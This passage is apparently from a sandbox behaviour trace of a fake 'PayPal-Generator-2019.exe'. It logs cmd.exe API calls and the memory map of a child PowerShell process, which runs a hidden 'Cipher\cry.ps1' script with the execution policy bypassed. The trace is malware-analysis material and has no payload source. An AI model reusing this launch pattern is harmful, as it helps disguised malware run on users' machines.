lpData=0xdde6ac, lpcbData=0xdde6a8*=0x1000 | out: lpType=0xdde6a4*=0x0, lpData=0xdde6ac*=0x40, lpcbData=0xdde6a8*=0x1000) returned 0x2 [0050.385] RegQueryValueExW (in: hKey=0x94, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xdde6a4, lpData=0xdde6ac, lpcbData=0xdde6a8*=0x1000 | out: lpType=0xdde6a4*=0x4, lpData=0xdde6ac*=0x1, lpcbData=0xdde6a8*=0x4) returned 0x0 [0050.385] RegQueryValueExW (in: hKey=0x94, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xdde6a4, lpData=0xdde6ac, lpcbData=0xdde6a8*=0x1000 | out: lpType=0xdde6a4*=0x0, lpData=0xdde6ac*=0x1, lpcbData=0xdde6a8*=0x1000) returned 0x2 [0050.385] RegQueryValueExW (in: hKey=0x94, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xdde6a4, lpData=0xdde6ac, lpcbData=0xdde6a8*=0x1000 | out: lpType=0xdde6a4*=0x4, lpData=0xdde6ac*=0x0, lpcbData=0xdde6a8*=0x4) returned 0x0 [0050.386] RegQueryValueExW (in: hKey=0x94, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xdde6a4, lpData=0xdde6ac, lpcbData=0xdde6a8*=0x1000 | out: lpType=0xdde6a4*=0x4, lpData=0xdde6ac*=0x9, lpcbData=0xdde6a8*=0x4) returned 0x0 [0050.386] RegQueryValueExW (in: hKey=0x94, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xdde6a4, lpData=0xdde6ac, lpcbData=0xdde6a8*=0x1000 | out: lpType=0xdde6a4*=0x4, lpData=0xdde6ac*=0x9, lpcbData=0xdde6a8*=0x4) returned 0x0 [0050.386] RegQueryValueExW (in: hKey=0x94, lpValueName="AutoRun", lpReserved=0x0, lpType=0xdde6a4, lpData=0xdde6ac, lpcbData=0xdde6a8*=0x1000 | out: lpType=0xdde6a4*=0x0, lpData=0xdde6ac*=0x9, lpcbData=0xdde6a8*=0x1000) returned 0x2 [0050.386] RegCloseKey (hKey=0x94) returned 0x0 [0050.386] time (in: timer=0x0 | out: timer=0x0) returned 0x5c5c82cb [0050.386] srand (_Seed=0x5c5c82cb) [0050.386] GetCommandLineW () returned="cmd.exe /c cd C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher " [0050.386] GetCommandLineW () returned="cmd.exe /c cd C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher " [0050.386] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1066720 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0050.386] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5227f38, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0050.386] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0050.386] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0050.386] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0050.386] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0050.386] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0050.387] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0050.387] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0050.387] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0050.387] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0050.387] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0050.387] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0050.387] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0050.387] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0050.387] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xddf478 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0050.387] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x104, lpBuffer=0xddf478, lpFilePart=0xddf470 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0xddf470*="Desktop") returned 0x1d [0050.387] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0050.388] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xddf1f8 | out: lpFindFileData=0xddf1f8) returned 0x5228148 [0050.388] FindClose (in: hFindFile=0x5228148 | out: hFindFile=0x5228148) returned 1 [0050.388] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", lpFindFileData=0xddf1f8 | out: lpFindFileData=0xddf1f8) returned 0x5228148 [0050.388] FindClose (in: hFindFile=0x5228148 | out: hFindFile=0x5228148) returned 1 [0050.388] _wcsnicmp (_String1="CIIHMN~1", _String2="CIiHmnxMn6Ps", _MaxCount=0xc) returned 6 [0050.388] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFindFileData=0xddf1f8 | out: lpFindFileData=0xddf1f8) returned 0x5228148 [0050.388] FindClose (in: hFindFile=0x5228148 | out: hFindFile=0x5228148) returned 1 [0050.389] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0050.389] SetCurrentDirectoryW (lpPathName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 1 [0050.389] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1 [0050.389] GetEnvironmentStringsW () returned 0x5228148* [0050.389] FreeEnvironmentStringsA (penv="=") returned 1 [0050.389] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1066720 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0050.389] GetConsoleOutputCP () returned 0x1b5 [0050.433] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x105e460 | out: lpCPInfo=0x105e460) returned 1 [0050.433] GetUserDefaultLCID () returned 0x409 [0050.434] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x10624a0, cchData=8 | out: lpLCData=":") returned 2 [0050.434] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xddf5a8, cchData=128 | out: lpLCData="0") returned 2 [0050.434] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xddf5a8, cchData=128 | out: lpLCData="0") returned 2 [0050.434] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xddf5a8, cchData=128 | out: lpLCData="1") returned 2 [0050.434] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x10624b0, cchData=8 | out: lpLCData="/") returned 2 [0050.434] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x1062500, cchData=32 | out: lpLCData="Mon") returned 4 [0050.434] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x1062540, cchData=32 | out: lpLCData="Tue") returned 4 [0050.434] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x1062580, cchData=32 | out: lpLCData="Wed") returned 4 [0050.434] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x10625c0, cchData=32 | out: lpLCData="Thu") returned 4 [0050.434] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x1062600, cchData=32 | out: lpLCData="Fri") returned 4 [0050.434] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x1062640, cchData=32 | out: lpLCData="Sat") returned 4 [0050.434] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x1062680, cchData=32 | out: lpLCData="Sun") returned 4 [0050.434] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x10624c0, cchData=8 | out: lpLCData=".") returned 2 [0050.434] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x10624e0, cchData=8 | out: lpLCData=",") returned 2 [0050.434] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0050.436] GetConsoleTitleW (in: lpConsoleTitle=0x52281e8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0050.436] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f40000 [0050.437] GetProcAddress (hModule=0x74f40000, lpProcName="CopyFileExW") returned 0x74f5fa80 [0050.437] GetProcAddress (hModule=0x74f40000, lpProcName="IsDebuggerPresent") returned 0x74f5a790 [0050.437] GetProcAddress (hModule=0x74f40000, lpProcName="SetConsoleInputExeNameW") returned 0x752a35c0 [0050.437] _wcsicmp (_String1="cd", _String2=")") returned 58 [0050.437] _wcsicmp (_String1="FOR", _String2="cd") returned 3 [0050.437] _wcsicmp (_String1="FOR/?", _String2="cd") returned 3 [0050.437] _wcsicmp (_String1="IF", _String2="cd") returned 6 [0050.437] _wcsicmp (_String1="IF/?", _String2="cd") returned 6 [0050.437] _wcsicmp (_String1="REM", _String2="cd") returned 15 [0050.437] _wcsicmp (_String1="REM/?", _String2="cd") returned 15 [0050.534] GetConsoleTitleW (in: lpConsoleTitle=0xddf290, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0050.536] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0050.536] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0050.536] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0050.536] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0050.536] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0050.536] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0050.539] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0050.539] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0050.539] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0xddf048, nVolumeNameSize=0x104, lpVolumeSerialNumber=0xddf040, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0xddf040*=0xd2ca4def, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0050.542] _wcsnicmp (_String1="C:", _String2="/D", _MaxCount=0x2) returned 52 [0050.542] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xddedec | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0050.542] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x104, lpBuffer=0xddedec, lpFilePart=0xddede4 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0xddede4*="Cipher") returned 0x40 [0050.542] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0050.542] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xddeb68 | out: lpFindFileData=0xddeb68) returned 0x5228968 [0050.542] FindClose (in: hFindFile=0x5228968 | out: hFindFile=0x5228968) returned 1 [0050.542] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", lpFindFileData=0xddeb68 | out: lpFindFileData=0xddeb68) returned 0x5228968 [0050.542] FindClose (in: hFindFile=0x5228968 | out: hFindFile=0x5228968) returned 1 [0050.543] _wcsnicmp (_String1="CIIHMN~1", _String2="CIiHmnxMn6Ps", _MaxCount=0xc) returned 6 [0050.543] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFindFileData=0xddeb68 | out: lpFindFileData=0xddeb68) returned 0x5228968 [0050.543] FindClose (in: hFindFile=0x5228968 | out: hFindFile=0x5228968) returned 1 [0050.543] _wcsnicmp (_String1="DOCUME~1", _String2="Documents", _MaxCount=0x9) returned 16 [0050.543] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell", lpFindFileData=0xddeb68 | out: lpFindFileData=0xddeb68) returned 0x5228968 [0050.543] FindClose (in: hFindFile=0x5228968 | out: hFindFile=0x5228968) returned 1 [0050.543] _wcsnicmp (_String1="WINDOW~1", _String2="WindowsPowerShell", _MaxCount=0x11) returned 11 [0050.543] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules", lpFindFileData=0xddeb68 | out: lpFindFileData=0xddeb68) returned 0x5228968 [0050.543] FindClose (in: hFindFile=0x5228968 | out: hFindFile=0x5228968) returned 1 [0050.543] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFindFileData=0xddeb68 | out: lpFindFileData=0xddeb68) returned 0x5228968 [0050.543] FindClose (in: hFindFile=0x5228968 | out: hFindFile=0x5228968) returned 1 [0050.543] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher")) returned 0x10 [0050.543] SetCurrentDirectoryW (lpPathName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher")) returned 1 [0050.543] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher") returned 1 [0050.544] GetEnvironmentStringsW () returned 0x522b598* [0050.544] FreeEnvironmentStringsA (penv="=") returned 1 [0050.544] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1066720 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher") returned 0x40 [0050.544] _get_osfhandle (_FileHandle=1) returned 0x3c [0050.544] SetConsoleMode (hConsoleHandle=0x3c, dwMode=0x3) returned 1 [0050.544] _get_osfhandle (_FileHandle=1) returned 0x3c [0050.544] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x105e40c | out: lpMode=0x105e40c) returned 1 [0050.544] _get_osfhandle (_FileHandle=0) returned 0x38 [0050.544] GetConsoleMode (in: hConsoleHandle=0x38, lpMode=0x105e408 | out: lpMode=0x105e408) returned 1 [0050.544] SetConsoleInputExeNameW () returned 0x1 [0050.544] GetConsoleOutputCP () returned 0x1b5 [0050.545] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x105e460 | out: lpCPInfo=0x105e460) returned 1 [0050.545] SetThreadUILanguage (LangId=0x0) returned 0x409 [0050.545] exit (_Code=0) Thread: id = 14 os_tid = 0x924 Process: id = "7" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x29fc3000" os_pid = "0x51c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xcf4" cmd_line = "powershell -ExecutionPolicy ByPass -File C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1 " cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013da5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 408 start_va = 0x40000 end_va = 0xb4fff entry_point = 0x40000 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe") Region: id = 409 start_va = 0x1b0000 end_va = 0x41affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 410 start_va = 0x41b0000 end_va = 0x41cffff entry_point = 0x0 region_type = private name = "private_0x00000000041b0000" filename = "" Region: id = 411 start_va = 0x41d0000 end_va = 0x41d1fff entry_point = 0x0 region_type = private name = "private_0x00000000041d0000" filename = "" Region: id = 412 start_va = 0x41e0000 end_va = 0x41f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000041e0000" filename = "" Region: id = 413 start_va = 0x4200000 end_va = 0x423ffff entry_point = 0x0 region_type = private name = "private_0x0000000004200000" filename = "" Region: id = 414 start_va = 0x4240000 end_va = 0x427ffff entry_point = 0x0 region_type = private name = "private_0x0000000004240000" filename = "" Region: id = 415 start_va = 0x4280000 end_va = 0x4283fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004280000" filename = "" Region: id = 416 start_va = 0x4290000 end_va = 0x4290fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004290000" filename = "" Region: id = 417 start_va = 0x42a0000 end_va = 0x42a1fff entry_point = 0x0 region_type = private name = "private_0x00000000042a0000" filename = "" Region: id = 418 start_va = 0x776b0000 end_va = 0x77828fff entry_point = 0x776b0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 419 start_va = 0x7fba0000 end_va = 0x7fbc2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007fba0000" filename = "" Region: id = 420 start_va = 0x7fbc5000 end_va = 0x7fbc5fff entry_point = 0x0 region_type = private name = "private_0x000000007fbc5000" filename = "" Region: id = 421 start_va = 0x7fbcc000 end_va = 0x7fbcefff entry_point = 0x0 region_type = private name = "private_0x000000007fbcc000" filename = "" Region: id = 422 start_va = 0x7fbcf000 end_va = 0x7fbcffff entry_point = 0x0 region_type = private name = "private_0x000000007fbcf000" filename = "" Region: id = 423 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 424 start_va = 0x7fff0000 end_va = 0x7dfc57b4ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 425 start_va = 0x7dfc57b50000 end_va = 0x7ffc57b4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfc57b50000" filename = "" Region: id = 426 start_va = 0x7ffc57b50000 end_va = 0x7ffc57d11fff entry_point = 0x7ffc57b50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 427 start_va = 0x7ffc57d12000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffc57d12000" filename = "" Region: id = 428 start_va = 0x43c0000 end_va = 0x43cffff entry_point = 0x0 region_type = private name = "private_0x00000000043c0000" filename = "" Region: id = 429 start_va = 0x5bab0000 end_va = 0x5bb22fff entry_point = 0x5bab0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 430 start_va = 0x5bb30000 end_va = 0x5bb7efff entry_point = 0x5bb30000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 431 start_va = 0x5baa0000 end_va = 0x5baa7fff entry_point = 0x5baa0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 432 start_va = 0x41b0000 end_va = 0x41bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000041b0000" filename = "" Region: id = 433 start_va = 0x41c0000 end_va = 0x41c3fff entry_point = 0x0 region_type = private name = "private_0x00000000041c0000" filename = "" Region: id = 434 start_va = 0x42c0000 end_va = 0x43bffff entry_point = 0x0 region_type = private name = "private_0x00000000042c0000" filename = "" Region: id = 435 start_va = 0x43d0000 end_va = 0x448dfff entry_point = 0x43d0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 436 start_va = 0x4490000 end_va = 0x44cffff entry_point = 0x0 region_type = private name = "private_0x0000000004490000" filename = "" Region: id = 437 start_va = 0x44d0000 end_va = 0x450ffff entry_point = 0x0 region_type = private name = "private_0x00000000044d0000" filename = "" Region: id = 438 start_va = 0x4510000 end_va = 0x454ffff entry_point = 0x0 region_type = private name = "private_0x0000000004510000" filename = "" Region: id = 439 start_va = 0x4550000 end_va = 0x458ffff entry_point = 0x0 region_type = private name = "private_0x0000000004550000" filename = "" Region: id = 440 start_va = 0x4750000 end_va = 0x475ffff entry_point = 0x0 region_type = private name = "private_0x0000000004750000" filename = "" Region: id = 441 start_va = 0x74590000 end_va = 0x745e8fff entry_point = 0x74590000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 442 start_va = 0x745f0000 end_va = 0x74607fff entry_point = 0x745f0000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 443 start_va = 0x74750000 end_va = 0x747a8fff entry_point = 0x74750000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 444 start_va = 0x747b0000 end_va = 0x747b9fff entry_point = 0x747b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 445 start_va = 0x747c0000 end_va = 0x747ddfff entry_point = 0x747c0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 446 start_va = 0x74a00000 end_va = 0x74aabfff entry_point = 0x74a00000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 447 start_va = 0x74f40000 end_va = 0x7502ffff entry_point = 0x74f40000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 448 start_va = 0x75030000 end_va = 0x7517cfff entry_point = 0x75030000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 449 start_va = 0x75190000 end_va = 0x75305fff entry_point = 0x75190000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 450 start_va = 0x76c70000 end_va = 0x76daffff entry_point = 0x76c70000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 451 start_va = 0x76f20000 end_va = 0x76fddfff entry_point = 0x76f20000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 452 start_va = 0x770d0000 end_va = 0x77161fff entry_point = 0x770d0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 453 start_va = 0x77170000 end_va = 0x77259fff entry_point = 0x77170000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 454 start_va = 0x772b0000 end_va = 0x772f2fff entry_point = 0x772b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 455 start_va = 0x77390000 end_va = 0x77549fff entry_point = 0x77390000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 456 start_va = 0x77550000 end_va = 0x775cafff entry_point = 0x77550000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 457 start_va = 0x7faa0000 end_va = 0x7fb9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007faa0000" filename = "" Region: id = 458 start_va = 0x7fbc6000 end_va = 0x7fbc8fff entry_point = 0x0 region_type = private name = "private_0x000000007fbc6000" filename = "" Region: id = 459 start_va = 0x7fbc9000 end_va = 0x7fbcbfff entry_point = 0x0 region_type = private name = "private_0x000000007fbc9000" filename = "" Region: id = 460 start_va = 0x41d0000 end_va = 0x41d2fff entry_point = 0x41d0000 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 461 start_va = 0x42b0000 end_va = 0x42b0fff entry_point = 0x0 region_type = private name = "private_0x00000000042b0000" filename = "" Region: id = 462 start_va = 0x4590000 end_va = 0x4717fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004590000" filename = "" Region: id = 463 start_va = 0x4720000 end_va = 0x4720fff entry_point = 0x0 region_type = private name = "private_0x0000000004720000" filename = "" Region: id = 464 start_va = 0x4760000 end_va = 0x48e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004760000" filename = "" Region: id = 465 start_va = 0x48f0000 end_va = 0x5ceffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000048f0000" filename = "" Region: id = 466 start_va = 0x5ee0000 end_va = 0x5eeffff entry_point = 0x0 region_type = private name = "private_0x0000000005ee0000" filename = "" Region: id = 467 start_va = 0x74ab0000 end_va = 0x74abbfff entry_point = 0x74ab0000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 468 start_va = 0x74df0000 end_va = 0x74f0ffff entry_point = 0x74df0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 469 start_va = 0x74f10000 end_va = 0x74f3afff entry_point = 0x74f10000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 470 start_va = 0x74630000 end_va = 0x746a4fff entry_point = 0x74630000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 471 start_va = 0x4730000 end_va = 0x4730fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004730000" filename = "" Region: id = 472 start_va = 0x5ec0000 end_va = 0x5ecffff entry_point = 0x0 region_type = private name = "private_0x0000000005ec0000" filename = "" Region: id = 473 start_va = 0x76fe0000 end_va = 0x77061fff entry_point = 0x76fe0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 474 start_va = 